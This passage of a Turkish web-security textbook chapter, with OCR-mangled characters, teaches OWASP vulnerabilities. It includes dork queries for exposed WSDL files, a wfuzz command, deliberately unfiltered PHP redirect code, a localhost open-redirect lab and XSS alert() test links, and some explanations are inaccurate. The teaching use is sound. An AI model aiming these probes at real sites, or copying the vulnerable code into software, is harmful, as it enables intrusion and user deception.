Kali, Linux, SQLi, Injection, HTTP, XSS, WAF, IDS, IPS, RFI, LFI, OWASP, web, zafiyet,
kara liste, beyaz liste
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HAZIRLIK CALISMALARI

1. Girdiginiz web siteleri ne kadar glivenlidir? Agiklayiniz.

2. Web sitelerinin agiklarini bulabilmek igin kullanilan araglar nelerdir?

3. Gelistiriciler kodlarini yazarken glivenlige dikkat etmezlerse ne gibi olumsuzluklarla karsila-
sirlar?

10.1. WEB UYGULAMA GUVENLIGI

Web uygulamalari, internet agi lzerinden erisim saglanan programlar olarak tanimlanir.
GUnUmizde web uygulamalari yaygin bir sekilde kullanilir. Masalstli programlara gore her
yerden ulasiimasi daha islevsel ve pratik oldugu icin web uygulamalari herkes tarafindan tercih
edilir. Web uygulamalari, internet aginin oldugu her yerde program indirmeye ve yliklemeye
gerek kalmadan kullanicilarin hizmet alabilmesini saglar. Web uygulamalari, internet tarayicilarini
istemci olarak kullanir ve hizmeti verecek sunuculara internet tarayicilari sayesinde ulasabilir.
Web uygulamalari HTML, JavaScript, PHP, ASP gibi dillerde olusturulur ve internet lzerinden
islemlerini ylratar.

GunlUmiuzde bankacilik, e-ticaret, bilgi glivenliginin 6nem arz ettigi sektorler gibi kritik 6neme
sahip bircok alanda web uygulamalari kullanihr. Glvenligin 6nem arz ettigi alanlarda kullanicilarin
ve kurumlarin bilgileri iceriden ve disaridan gelebilecek siber saldirilara karsi korunmahdir.
Kurumlarin web uygulamalari hazirlanirken ortaya ¢ikan agiklar veya kurumdaki cihazlarda
bulunan yapilandirma zafiyetleri saldirganlar icin firsat yaratir.

istemci cihazdan web uygulamalarina gelen istekler ve bu istekleri karsilamaya calisirken
verilen hizmetler karmasik bir yapiya sahiptir. Bu noktada arka planda calisan kodlar, veri
tabanlari ve gesitli servisler, dogru yapilandirilmamis bir i¢ ag ve iyi hazirlanmamis kod bloklariyla
saldirilara acik hale gelir.

10.1.1. Web Uygulamalarinda Hatal Giivenlik Yapilandirmasi

Web uygulamalarinda kullanilan sunucularin ve web uygulamasinin kendi glvenlik
yapilandirmalarinin  hatali olmasi, uygulamalar hazirlanirken glvenlik protokollerinin
uygulanmamasi veya hatal kod yapilarinin olusturulmasi kurum ve kisiler icin biyik tehlike
arz eder. OWAPS, web uygulamalarindaki glivenlik agiklarinin kapatilmasi ve bu uygulamalarin
glivenli bir sekilde korunmasini saglamak icin ¢alismalar yapan 6zgilir bir topluluktur. OWAPS,
saldirganlarin yetkisiz erisim, yetki ylkseltme ve bilgi saglamak icin genellikle sistemlerdeki

318 I Web Glvenligi



duzeltiimemis acikhklardan yararlandigini tespit etmistir. Saldirganlar bu acikliklardan sizarak
sistemin icine, korumasiz dosyalara ve dizinlere erismeye calisirlar. OWASP topluluguna goére
diinyada en ¢ok bulunan zafiyetlerden biri, hatah giivenlik yapilandirmalaridir. OWASP Top 10’da
bu zafiyet altinci sirada yer alir. Bu tir agikliklar genellikle saldirganlara bazi sistem verilerine veya
islevlerine yetkisiz erisim hakki saglar. Dogru yapilandirilmamis sistemler tamamen saldirganin
eline gegebilir ve bu durum biiyiik problemlere yol agabilir. Ozellikle varsayilan yapilandirma
ayarlarinda birakilmis sistemler, kullanilan ama ihtiyag duyulmayan servisler ve gincelligini
yitirmis servisler, yapilandirma temelli glivenlik acgiklarina dérnek teskil eder.

Dizin listesinin sunucuda varsayilan olarak birakilmasi, yapilandirma hatalarina 6rnek
verilebilir. Bir sitenin dizin listesine ulasmak icin herhangi bir sifreye ihtiyac yoktur. Tarayiciya
adres bilgilerini girmek, dizin listesine ulasmak icin yeterlidir. Wordpress sitelerde wp-content
veya wp-includes gibi klasorler herkese agiktir ve herhangi biri tarayiciya ilgili adresi girdiginde
tim verileri gériintileyebilir (Gérsel 10.1). Ornegin https://siteadi.com/wp-content/uploads/
linki tarayiclya eklendiginde dizin tarama daha Once kapatilmadiysa sitedeki dosyalar herkes
tarafindan goriintllenir ve kolayca gezilebilir. Bu riski en aza indirmek ve siteyi korumak igin dizin
listelemesi veya diger adiyla dizin taramasi kapatiimalidir.

Gorsel 10.1: Yapilandirma hatasindan kaynaklanan zafiyet

Gereksiz ozellikler, artik kullanilmayan ve var olmayan uygulamalar ile iletisim kurmaya
calisan bilesenler saldirganlarin bu programi taklit etmesiyle givenlik zafiyeti olusturabilir. Bir
uygulamada varsayilan olarak acgik kalmis baglanti noktalari uzaktan saldiri yapilmasina yol
acabilir. Glvenlik duvarlarinin yanlis yapilandirilmasi, kurum ici anahtarlama ve yoénlendirici
cihazlarinin varsayilan ayarlarda kalmasi, bu cihazlarin yetkilendirme ayarlarinin yapilmamasi ve
port glivenliklerinin varsayilan ayarlarda kalmasi gibi durumlarda giivenlik problemleri ortaya
cikar. Ornegin bir saldirgan; web sunucusunda acik unutulan ve ayarlari varsayilan olarak bira-
kilan uzak masadsti erisim baglanti noktasini, acik baglanti noktalarini taratarak tespit edebilir,
varsayilan kullanici adi ve sifrelerini deneyerek sistemi ele gecirebilir. OWASP standartlarinda
yanlis glvenlik yapilandirmalarina karsi alinmasi istenen énlem, bir web uygulamasi icin gerekli
olmayan bitin iletisimlerin engellenmesidir.
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OWASP, web uygulamalarinin glvenligi icin su ¢oziimleri 6nermektedir:

e Kituphaneler ve web platformlari glincel tutulmalidir.
e Varsayilan olarak daha glivenli bir yapilandirma olusturulmahdir.

e Kullanilmayan servisler, uygulamalar, varsayilan kullanicilar ve test kullanicilari sistemden
kaldirilmalidir.

e Sunucu ve veri tabani arasindaki baglanti sifrelenmelidir.
e Uciincii parti uygulamalarin giivenli kaynaklardan geldigine emin olunmalidir.

e Tim uygulama kaynaklarinin yine uygulama tarafindan baslatildigina emin olunmalidir.

10.2. WEB SERVISI

Web servisleri, HTTP protokoll kullanilarak masadstli, mobil veya diger sistemlere hizmet
veren yapilardir. Web servislerinde istemci ve sunucu olmak tizere iki taraf vardir. istemci cihazlar
web servislerine isteklerde bulunur. Web servisler ise uygun formatta istemciye cevap déndurir
ve istemci, son kullaniciya bu formati isleyerek verir.

Web servisleri, uzak sistemler veya farkli platformlar arasinda XML, JSON, CSV vb. ortak
bir bicim kullanarak veri alisverisini saglar. Bu servisler; Java, C++, C#, PHP, Node.js, Python,
GO, Linux, Windows vb. HTTP protokoli Gzerinden iletisim yapan ve kullanilacak ortak bigimi
(genellikle XML ve JSON) destekleyen yapilar arasinda iletisimi saglar. Web servislerindeki bazi
kavramlar asagida verilmistir.

SOAP (Simple Object Access Protocol): Uygulamalarin HTTP protokoll Gizerinden haberles-
mesini saglayan, XML tabanh mesajlar iceren servis protokoliddir.

REST (Representational State Transfer): HTTP protokoliini kullanarak web servislerinde
hizmet vermektedir. REST, istemci ve sunucu arasindaki bu hizmeti GET, POST, PUT gibi HTTP
metotlarini kullanarak gerceklestirir. REST servisler de URLler ile dogrudan HTTP metotlariyla
istek yapar, SOAP gibi bir WDSLe gerek yoktur. Bir diger 6nemli fark ise SOAP’ta sadece XML
Uzerinden mesajlasma yapilirken REST servisinde basta JSON olmak lizere XML, hatta Text
formatinda bile veri iletilebilir.

WSDL (Web Services Description Language): SOAP, web servisleri icin gerekli tanimlamalari
yapan bir dildir ve SOAP’In web servisler icin kullanilmasi zorunludur. WSDL; fonksiyonlar,
veri tipleri, fonksiyon agiklamalari gibi tanimlamalari kullaniciya sunar. Saldirgan, web servisi
olusturmak igin kullanilan teknolojiyi tespit eder. Glivenlik agiklarini bulmak i¢in WSDL arayuzii
taramasi yapar.
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WADL (Web Application Description Language): WADL, REST servisin hangi fonksiyonlari
destekledigini, hangi metotlar ile kullanildigini, servise giris / cikis olarak hangi parametrelerin
verildigini veya alindigini, bu parametrelerin tiplerinin ne oldugunu gosteren XML tabanl bir
dokiimandir.

10.2.1. Web Servisinin Kesfi

Uygulamalarin kullandigi web servislerini kesfetmek igin ¢esitli yontem ve teknikler vardir. Bu
yontem ve tekniklerin bazilari sunlardir:

e Proxy yazilimi kullanarak, web servislerine ulasmadan dnce araya girip trafigin incelenmesi
yoluyla kesif

e Arama motorlarini kullanarak directory listing tarzi aciklarin kesfedilmesi
e Rastgele veri gonderme metodunu kullanan fuzzing testleri yontemiyle kesif

e Swf veya jar dosyalarinin decompile araglari ile tersine islem gorerek web servislerinin kesfi

a@ iz

Uygulamalardaki web servisleri kesfedildikten sonra web servislerinin zafiyetleri incelenir ve
web servislerinde bulunan zafiyetlere gerekli glivenlik 6nlemleri alinir.

Swf intruder veya burpsuite tarzi programlar sayesinde uygulamalarin hangi web servislerini
kullandigr tespit edilebilir. Swf intruder ile hazirlanmig bir flash dosyasinin igerigi incelenerek
kullandigi web servisini bulmak mimkindur (Gorsel 10.2).

Gorsel 10.2: Swf intruder ile WSDL servisinin kegfi

Proxy yazilimlari ile web servislerinde araya girme islemleri uygulanabilir, kullanilan web
servisleri 6grenilebilir. Kali Linux isletim sisteminde kullanilan gesitli web Proxy yazilimlari vardir.
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Bu yazihmlara Uygulamalar, Kali Linux, Web Applications, Web Application Proxies yolu
kullanilarak ulasihr (Gorsel 10.3).

Gorsel 10.3: Kali Linux web araya girme araglari

Bu araclardan en popiiler olarak kullanilani burpsuite yazilimidir. Kali Linux igcinde burpsuite
yaziliminin cretsiz versiyonu gelir. Ucretsiz versiyonda &zelliklerin tamami kullanilamaz.
Ozelliklerin tamamini kullanabilmek icin pro versiyonu satin alinmaldir. Burpsuite kullanilip,
“dIPwsdl”, “.ashx?wsdl”, “.exe?wsdl” veya “.php?wsdl” vb. ifadeler aratilarak web servisler
tespit edilebilir (Gorsel 10.4).

Gorsel 10.4: burpsuite filtreleme paneli
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Arama motorlari kullanilarak da web servislerin tespiti yapilabilir. Bircok web servis
uygulamasinda WSDL dosyalari halka agik halde bulunur. Bir saldirgan asagidaki metotlari
kullanarak bu dosyalara erisebilir.

filetype:wsdl

index of " /wsdI"

inurl:wsdl

inurl:asmx

filetype:asmx inurl:(_vti_bin | api | webservice | ws)

allinurl:dil?wsdl filetype:dll

Fuzzing test araclarini kullanarak da web servislerinin kesfini yapmak mimkindir. Wfuzz en
stk kullanilan test aracidir ve Kali Linux isletim sisteminde kullanima hazir olarak gelir. Gorsel
10.5te wfuzz ile yapilan zafiyet taramasinin bir ¢iktisi verilmistir.

wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-{taramasi yapilan web
servisler}-z komutu kullanilarak web servis kesfi yapilr.

Gorsel 10.5: wfuzz araciyla yapilan zafiyet taramasinin giktisi

SIRA SiZDE

Bilgisayarinizda yukli olan arama motorunu kullanarak yasadiginiz sehirle ilgili bilgi toplayiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

I

OLCUTLER
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10.3. WEB SERVISLERINE YONELIK ZAFIYET iSLEMLERI

Web servislerinin kullandigi metotlar yukarida anlatilan yontemlerle kesfedilerek ve bu
yontemlere ait parametreler tizerinde degisiklikler yapilarak zafiyetler bulunabilir.

Web servis testleri icin kullanilabilecek araglarin bazilari asagida listelenmistir.

e WebScarap

e SoapUl

e WCFStorm

* SOAP Cleaner

e WSDigger

* wsScanner

e Wfuzz

® RESTClient

e Burpsuite

o \WS-Attacker

e ZAP

e Metasploit

e WSDL Analyzer

OWASP’In tespit ettigi zafiyetlerden bazilari asagida verilmistir.

Injection Zafiyetleri: Injection saldirilarinin temel amaci, sisteme zararh kodlar sizdirmak
veya sistemden veriler elde etmektir. En riskli agiklar, injection acgiklaridir. Bu agiklar, web uygula-
malarinin kodlanmasi esnasinda yapilan dikkatsizliklerden ve hatalardan kaynaklanir. Injection
aciklariile hedef sistemde veri okunabilir, silinebilir, veriye zarar verilebilir.

Injection gesitleri asagida siralanmstir.

a) Sql Injection: Sql veri tabanlarina erisim ve yonetim icin kullanilan standart bir yapidir.
Veri tabanina Sql ile veriler islenirken araya birtakim karakterlerin eklenmesiyle Sql injection
meydana gelir. Sql injection ile saldiri yapilan sitede veri tabanindaki veriler okunabilir, okunan
veriler ile panellere erisim saglanabilir, uzaktan kod vb. ¢alistirilabilir. Sql injectionun ¢esitleri;
Classic Sql, Error-based Sql, Union-based Sql, Blind Sql, Boolean-based Sql, Time-based Sql, Out-
of-band Sql'dir.

b) Command Injection: Genellikle sunucu bazl ¢alisan uygulamalarda gerekli filtrelemelerden
gecirilmeden dogrudan kod calistiriimasina dayanir. Calistirilan bu komutlar sunucuda hakimiyet
saglar. Bu zafiyetle beraber sistem yOneticisi olunabilir ve sistem uzaktan yonetilebilir.

324 I Web Glvenligi



c) XPATH Injection: XML, kullanicilarin verilerini kendi kendine yapilandirmasina olanak
saglayan bir dildir. XPATH, XML verileri lizerinde herhangi bir degisiklik yapilmaksizin veri
almak veya okumak igin kullanilan bir dildir. Bu zafiyet, Sql injectiona benzer bir yapidadir. Sql
injectiondaki gibi kullanici girdilerinden XPATH sorgulari yapan web sitelerine bazi karakterler
sikistirilarak olusur.

¢) LDAP Injection: LDAP, dizin hizmetlerinin yonetiminde kullanilan bir protokoldir. LDAP ile
dizinlerde kayit ekleme, silme, diizenleme, arama gibi islemler yapilabilir. LDAP komutlarinin
belirli bir denetlemeye tabi tutulmadigi uygulamalarda bu komutlarin degistirilmesiyle saldiri
gerceklesir. LDAP ile Sql injectionda oldugu gibi veriler okunabilir, degistirilebilir, yetkisiz
kullanicilara yetkiler verilebilir.

d) PHP Object Injection: PHP, kullanicidan alinan verinin “unserialize()” fonksiyonundan
gecirilmesi sonucu ile olusur.

e) SSI Injection: SSI, web uygulamalarinda statik yapili sayfalara dinamik icerik eklemeyi
saglar. Sunucuya génderilen zararli kodlarin ¢calismasiyla beraber SSI injection olusur.

Hatali Kimlik Dogrulama ve Oturum YoOnetimi Zafiyeti: Oturum saldirilarina yonelik
gerceklestirilir. Phishing saldirilari bu zafiyete 6rnek olarak gosterilebilir. Bu yontem, hedef kitleye
yonelik sahte sistemler hazirlanarak kisileri kandirmaya dayanir. Buradaki temel amag, kullanici
hesaplari veya kredi karti gibi bilgileri elde etmektir.

Cross-Site Scripting (XSS) Zafiyeti: XSS zafiyeti HTML, CSS, JavaScript ile hazirlanmis zararli
kodlari kullanicilarin tarayicisinda izinsiz olarak galistiran bir agiktir. XSS ile hedef kullanicinin
oturum bilgileri, tus girisleri, tarayici yonetimi gibi islevler gerceklestirilebilir. Disaridan girilen
degerlerin filtrelenmemesi sonucunda ortaya cikar. XSS de kendi icinde Reflected XSS, Dom
Based XSS ve Stored XSS olmak lzere lg bolime ayrihr.

Giivensiz Dogrudan Nesne Referanslari Zafiyeti: Glivensiz bir sekilde dogrudan nesnelere
erisim saglanabilir. Genellikle her nesnenin bir ID degeri veya buna karsilik gelen bir yapisi vardir.
Ornegin php_id=1 oldugu varsayilirsa normal kullanicilar id degeri 1 olan nesneye erisim saglarken
normal kullanicilarin id degeri 2 olan nesneye erisim saglamamasi gerektigi halde id degeri
2 olan nesneye erisim saglamasindan dolay! ortaya cikan bir zafiyettir. Bu durum, sistemdeki
yetkilendirilmelerden kaynaklanir.

Hatal Giivenlik Yapilandirmasi Zafiyeti: Sistemlerdeki giivenlik yapilandirmalarinin hatal
olmasindan dolayl ortaya cikar. Genellikle sunucu yapilandiriimalarinda varsayilan ayarlar
kullantlir. Varsayilan ayarlar glivenli degildir. Bunu 6nlemek icin glivenlik ayarlarinin dogru bir
sekilde yapilandirilmasi ve yapilandirmada gereksiz servislere yer verilmemesi gerekir.
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Hassas Veri Zafiyeti: Yedekler, kimlik bilgileri, kredi karti gibi hassas verilere yonelik saldiri-
lardir. Bu teknik genellikle Brute Force, loglama, tarayici zafiyetleri, ARP spoofing gibi saldirilari
icerir.

Eksik islev ve Erisim Kontrolii Zafiyeti: Bu zafiyet, eksik islev ve erisim kontrollerine dayanir.
Ornegin hedef site http://hedef-site.com ve admin panel yolu giris varsayilirsa http://hedef-site.
com/giris seklinde ayni zamanda sisteme giris yaptiginda kullanicilar admin.php adli yonetim
dosyasina yonlendirilsin.  Kullanicilarin http://hedef-site.com/giris’te belirli kontrollerden
gegirilip, admin.php’ye yonlendirilmesi gerekirken yanlis bir yapilandiriima ile giris kontrolleri
yapilmaksizin, saldirganin direkt olarak http://hedef-site.com/admin.php adli dosyaya erisim
saglamasindan kaynaklanan zafiyet tlrldur. Bu zafiyetin LFI ve RFI olmak Uzere iki farkli tiirG
bulunur.

a) LFI: Local File Inclusion olarak bilinir. LFl, localdeki dosyalari kaynak kodlariyla okumayi
saglar. /etc/passwd dosyalarini okumak icin kullanilir. Bununla birlikte LFI ile sisteme Shell de
ylklenebilir. LFl sadece hedef siteyi etkilemez, tiim sunucuyu etkiler.

b) RFI: Remote File Inclusion olarak bilinir. Bu acik ile hedef sisteme uzaktan dosya ¢agrilabilir.
Bu sayede hedef sisteme zararli kodlar ylklenebilir.

Cross-Site Request Forgery (CSRF) Zafiyeti: CSRF saldirilari, gliven saldirilari olarak da bilinir.
Buradaki temel amac, hedef sitede yetkili bir kullaniciya islem yaptirmaktir. Ornegin hedef sitenin
http://hedef-site.com ve hedef sitede yuzlerce kullanicinin ayni zamanda birka¢ admin oldugu
varsayilirsa burada saldirganin temel hedefi, site Gizerinden yetki almak ve admin olmaktir.

Bilinen Giivenlik Agiklarina Sahip Bilesenleri Kullanma: Bilinen zafiyetlerin sistemlerde yer
almasidir. Cogu acik kaynak kodlu yazilimda bulunan zafiyetler bildiriimez. Ayni zamanda bu
yazilimlarin tim moddlleri sistem yoneticileri tarafindan bilinmez. Bu tiir yazihmlardan dolayi
ortaya ¢ikan zafiyetlerdir.

URL Yonlendirme Zafiyetleri: Ginimizde hemen hemen herkesin denk geldigi sahte link
yonlendirmeleri ve fake siteler bu baslik altinda incelenir. Ozellikle sosyal medyada bu zafiyet cok
kullantlir.

Burpsuite, zafiyet taramasi islemlerinde en ¢ok kullanilan Proxy programidir. Web islemleri
gerceklestirilirken istemci-sunucu mimarisi kullanilir. Bir web sitesi incelenmeye baslandiginda
gelen giden verilere, isteklere, isteklerin gidis donus sekillerine gore islemler gerceklestirilir.

Zafiyet taramasi islemlerinin saghkli yaratilmesi igin istemci ile sunucu arasinda yapilan her
islemin hem istemciden ¢ikip sunucuya varmadan, kontrolii hem de sunucudan istemciye donen
cevabin istemciye varmadan araya girilerek kontrol edilmesi ¢cok énemlidir. Burpsuite burada
devreye girer ve istemci ile sunucu arasindaki tiim verileri kendi izerinden gegirerek mevcut

ozellikleri ile bu bilgilerin test edilmesini saglar.
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Burpsuite, biinyesinde bircok 6zellik ve eklenti bulundurur. Burpsuite kendi icinde Repeater,
Intruder, Decoder, Spider, Scanner, Comparer, Sequencer Ozelliklerini barindir. Bu 6zellikler,
kullaniciya zafiyet testi islemlerinde kolaylik saglar ve hiz kazandirir.

10.3.1. URL Yonlendirme Zafiyeti (Open Redirect)

Yonlendirme aciklari dnemli ve sik kullanilan bir web uygulama glivenligi zafiyetidir. Uniform
Resource Locator (URL), internet Uzerinde tutulan dosyalarin veya cesitli kaynaklarin adresi
olarak bilinmektedir. URL adresleri ¢esitli alanlara ayrilmistir ve bu adresler internet tarayicilarina
yazildiginda kullaniciyi belirtilen adrese yonlendirir (Gorsel 10.6).

http://www.ornek-domain-ismi.com:80/sayfa.php

Kullanilan Protokol Alan{Domain) Adi  pPort Numarasi Dosya Yolu Parametre

Gorsel 10.6: URL alanlari

Web siteleri hazirlanirken dis kaynakl adresleri yonlendirme ihtiyaci dogar. Bu ihtiyac-
lara ¢6ziim bulmak icin cesitli web programlama dillerinde farkli fonksiyonlar kullanilir. Ornegin
PHP dilinde “header” ve “redirect” parametreleri yonlendirme amach kullanilir. Yonlendirme
isleminde dogru filtreleme yapilmadigl takdirde kullanicilar ilgili alana istedikleri veriyi girebilir.
Kullanicilara izin verilen bu giris islemleri, yonlendirme zafiyetini (Open Redirect) olusturur.
Bu zafiyete yonelik saldirilarin mantigi, saldiriyi yapan kisinin hedefini baska bir sayfaya
yonlendirmesidir. Bunun sonucunda “RCE”, “XSS” gibi sosyal mihendislik saldirilari ve hedefe
zararli dosya indirme saldirilari birlestiginde cok tehlikeli olabilir.

- ORNEK

Bir blog sitesi ve bu sitede iki arkadasin blog sitelerine yonlendirme yaptigi linkler olsun.

<a href="/redirect.php?go=aliningunlugu.com”>Ali’nin Gunliigii</a>
<a href="/redirect.php?go=ayseninfotografdunyasi.com”>Ayse’nin Fotograf Diinyasi</a>

Bu iki link de sunucudaki ‘redirect.php’ dosyasina parametre yollayarak yonlendirme yapsin.
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<?php

// redirect.php icerigi

// ...

// Yonlendirme o6ncesi hangi siteye kag kez yonlendirme yapildigina dair bilgilerin saklandigi
varsayilsin. Ardindan yénlendirme gergeklestirilsin.

// ...

header("Location: " . $_GET['go']);

>

Kodlarda da gorildigu gibi herhangi bir kontrol yapilmadan "go’ parametresi ile gelen siteye
dogruca yonlendirme yapilir. Bazen yonlendirme islemi acik bir adresle degil, base64 gibi bir

algoritmayla kodlanarak yapilabilir.

. ORNEK

aliningunlugu.com => YWxpbmIuZ3VubHVndS5jb20=
<a href="/redirect.php?go=YWxpbmluzZ3VubHVndS5jb20=">Ali’nin Giinliigii</a>

<?php
header(“Location: “ . base64_decode($_GET[‘go’]));
>

Bu o6rnekteki kod, saldirgan igin zafiyetin kullaniimasina daha agiktir. Son kullanici gidecegi
adresi acik¢ca goremedigi icin saldirgan, base64 sonucunu istedigi adres ile degistirip, hedef
kullanicinin ttklamasini saglayarak kendi hazirladigi zararli bir adrese kullaniciy1 yonlendirebilir.
Saldirgan, hedef kullanicinin bilgisayarina zararli yazilimi otomatik indirebilir veya varsa sitedeki
XSS zafiyeti ile birlestirerek oturum bilgilerine erisebilir.

. 1. UYGULAMA

Yonlendirme Zafiyetini Kullanarak Saldiri Yapma

Asagidaki islem adimlarina gore localhostta konumlandiriimis PHP ile hazirlanan bir web
uygulamasinda yonlendirme zafiyetini kullanarak istenilen site (www.mesleklisesi.com) yerine

www.google.com sitesine yonlendirilmesini saglayiniz.

1. Adim: PHP komut yapisinda header() islevini ham bir HTTP bashgi gondermek icin kullaniniz.
Bir baska deyisle belirtilen HTTP adres yapisina tiklayip bir yonlendirme islemi gerceklestiriniz.
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<?php

header("Location:” . S_GET[‘url’]
exit;

>

Yukaridaki PHP kod blokunda header() fonksiyonu kullanilarak $_GET yontemi ile yakalanan
URL parametresinin degerine bir yonlendirme yapildig1 gérilmektedir.

Index.php sayfasindan gonderilen URL parametresinin degerini yakalayarak (www.
mesleklisesi.com) adresine istenen sekilde sayfayi yonlendiriniz (Gorsel 10.7).

Gorsel 10.7: Web uygulamasinin yonlendirme linki ve gittigi URL

2. Adim: Burpsuite gibi bir araya girme programi ile istekleri yakalayiniz. istekleri yakalayip
incelediginizde gorilecegi Gizere PHP kod blokunda herhangi bir filtreleme islemi yapilmadigi igin
bu asamadaki URL parametresi istenen herhangi bir adrese yonlendirilebilir (Gorsel 10.8).

Gorsel 10.8: Yonlendirme zafiyetinin kesfi
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3. Adim: Burpsuite uygulamasini kullanarak, url= parametresinin degerini http://www.
google.com olarak degistirip istegi sunucuya yollayiniz ve zafiyeti test ederek sonucu izleyiniz
(Gorsel 10.9).

Gorsel 10.9: Yonlendirmenin yapilmasi

4. Adim: Localhostta bulunan web sitesinin yonlendirme islemini tekrar deneyiniz. www.
mesleklisesi.com olan yénlendirme islemi www.google.com’a yonlendirilerek zafiyetin basaril

bir sekilde kullanildig gorilir.

. SIRA SiZDE

Local aginizda bulunan bir web uygulamasinin zafiyet taramasini gergeklestiriniz. Yonlendirme
zafiyeti bulunuyor ise burpsuite kullanarak zafiyeti analiz ediniz ve istediginiz glivenilir bir URL'ye

yonlendiriniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gére degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR
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Bu tarz saldirilara karsi 6nlem almak istendiginde kodlari yazan gelistirici, gelecek isteklerdeki
verileri dogru bir sekilde filtreleyerek islemin uygulanmasini saglamalidir. Gilvenli URL
adreslerinden olusan listelerle ¢alisarak glivenligi artirmalidir. Web uygulamalarinda givenilir
olmayan dis kaynaklara erisim saglanmak istendiginde kullanicilar uyarilmalidir. Kodlama
yapilirken yonlendirme fonksiyon komutlari yerine 6zel linkler ile baglantilar kurulmalidir.

10.3.2. XSS (Cross Site Scripting) Zafiyeti

XSS, tarayici Uzerinden gergeklestirilen bir saldiri ¢esididir. Genellikle tarayicidaki ¢erezlerin
¢alinmasi veya kullanicinin izni ve bilgisi olmadan sayfanin zararli bir adrese yonlendirilmesiyle
uygulanir. Bu saldiri ¢esidinde sunucu sistem degil, sitenin yoneticisi veya kullanicilari hedetftir.
Bu saldirinin ¢ farkli ¢esidi olmasina ragmen en zararlisi DOM XSS'dir. XSS zafiyeti kullanilarak
yapilabilecekler asagida verilmistir.

e Cookie bilgileri ¢alinabilir.
e Web sayfasi baska bir sayfaya yonlendirilebilir.
e Farkl bir sunucudan zararli kodlar ¢ahstirilabilir.

e Keylogger olarak kullanilabilir.

A) Stored XSS

Bu yontemde bir igerik kayit formuna (Input) ihtiyag vardir. Saldirgan, veri tabanina kaydedilip,
son kullaniciya gosterilen herhangi bir kayit formundan JavaScript kodlari yazip bu kodlarin veri
tabanina kaydedilmesini saglar. Boylelikle veri tabanindan o kayit ¢agrildiginda istenen kodlar
calisiyorsa sitede XSS acigi oldugu soylenebilir.

B) Reflected XSS

XSS’in hedef sitede etkin olup olmadigini 6grenmenin en hizli yolu bu yéntemi denemektir.
Bunun igin URL'den gelen JavaScript kodlarinin gdmili oldugu parametrenin ¢alisip calismadigi
kontrol edilir. Herhangi bir dnlem alinmadan JavaScript kodlari ¢alisiyorsa bu yontemle farkh
amaclara yonelik saldirilar planlanabilir.

Bu yontemde URL'den girilen herhangi bir bilginin veri tabanina kaydedilmese dahi aninda site
icinde calismasi gerekir. Boylelikle zararli kod igeren bir link hazirlanip, hedef kisiye génderilerek
tarayici Uzerinden istenen bilgiler ¢alinabilir.

Zafiyet Aranan Link
https://www.benim-sitem.com/arama.php?ara=cicek

Linkte goriildUgl Gizere "ara” parametresi ile cicek aramak istenmektedir. Bir sitede XSS acigl
oldugundan slipheleniliyorsa site asagidaki gibi zararl bir link ile kontrol edilebilir.

Zafiyet Uygulanan Link
https://www.benim-sitem.com/arama.php?ara=<script>alert(‘Bilgilerinizi ele gegcirdim
V)</script>
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Linke tiklandiktan sonra bir bildirim ¢ikiyorsa “alert()" fonksiyonu yerine JavaScript ile zararl
kodlar yazilarak kota niyetli isler yapilabilir.

C) DOM XSS

DOM bir W3 standardidir ve HTML ile XML gibi hiyerarsik yapilarin modellerini tanimlar. DOM,
web tarayicilari kullanilarak girilen internet sayfasini bir belge, sayfa icindeki elemanlarin hepsini
de bir nesne olarak kabul eder. Sayfada bulunan yazilar, resimler ve diger elemanlarin hepsi birer
nesnedir. DOM, sayfa icindeki nesnelere miidahale ederek 6zelliklerinin degistirilmesini saglar.
Bltln bu islemleri yapabilmek igin JavaScript gibi script dilleri kullanilir.

Bu yontemin g¢alisma sekli Stored XSS'e benzer ama zararh JavaScript kodunun veri tabanina
yazilmasina gerek yoktur. DOM XSS, URL'den alinan bir bilginin dogrudan DOM nesnesine
eklenmesi sonucu ortaya ¢ikan bir zafiyettir.

. ORNEK

Asagidaki gibi bir kodun web sitesinde yer aldigini varsayiniz.

<script>
document.write(“Su an bu linki incelemektesiniz : “ + document.baseURI);
</script>

Script kodunda ‘document.baseURI" ile adres kismindaki herhangi bir bilgi hi¢ kontrol
edilmeden ‘document’ nesnesine yazilmistir. Bu durumda kullanicinin yazabilecegi herhangi
zararli bir kod dogrudan calisacaktir.

Zararh Link

https://www.benim-sitem.com/index.html#<script>alert(‘Bilgilerinizi ele gegirdim 1)</
script>

Bu zararh link ile # simgesinden sonra gelen kissm HTMLe gore bir etiket oldugu icin DOM
tarafindan ekleme aninda calistirilabilir sekilde linke eklenecektir. Onceki kisim ise sadece
metinden ibaret oldugu icin goriintilenmesi disinda hicbir zarar vermeyecektir.

XSS temelde kullaniciyr hedef aldigi icin ilk asamada zarar verilemese de farkli saldiri
yontemleriyle birlestirilerek sisteme ciddi zararlar verilebilir. Ayrica JavaScript kodlari encode
edilmis sekilde de olabilir. Kodun okunakli olup olmamasi énemli degildir. Onemli olan husus,
hedef tarayicida JavaScript kodunun galismasidir.

XSS zafiyet saldirilarindan korunmak icin Web Application Firewall (WAF) kullaniimalidir. Bunun
yaninda giris islemlerinde <, >, /, = gibi XSS zafiyetinde kullanilan karakterler engellenebilir veya
sadece gereken bilginin alinmasi saglanabilir.
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10.3.3. HTML Injection Zafiyeti

HTML injection olarak adlandirilan bu zafiyet, disaridan herhangi bir kisinin siteye HTML kodu
enjekte etmesine olanak taniyan bir glivenlik agigidir. HTML injection, kullanicilarin disaridan veri
girdisi yaptig1 biitiin form islemlerinde olusabilen bir zafiyettir. Web sitesi icindeki bir yazi kutusu,
bir liste kutusu, arama kutusu, yorum yapma gibi veri girdisinin yapilacagi alanlarda kullanilan bir
aciktir. XSS ile benzerlik gosteren 6zellikleri olsa da HTML injection sadece HTML etiketleri ile
kullanilir. HTML injection zafiyeti kullanilarak yapilabilecek islemler sunlardir:

e Web sayfasinin icerik bilgilerini degistirme
e Kullanici oturum verilerini elde etme
¢ SRF karsiti islemlerin kesfi

e Tarayicida kaydedilen parolalari elde etme

Web Sayfasinin igerik Bilgilerini Degistirme: En basit saldiri tekniklerinden biridir. Saldirganin
zafiyetli site Gzerinde sitenin gorindrligiani veya site icinde ekli olan dosyalari, gorselleri, yazilari
degistirmesi ile meydana gelen bir saldiri tiiriidiir. Ornegin saldirgan, satmak istedigi bir Griiniin
gorsel reklami igin depolanan bir HTML eklemesi kullanabilir.

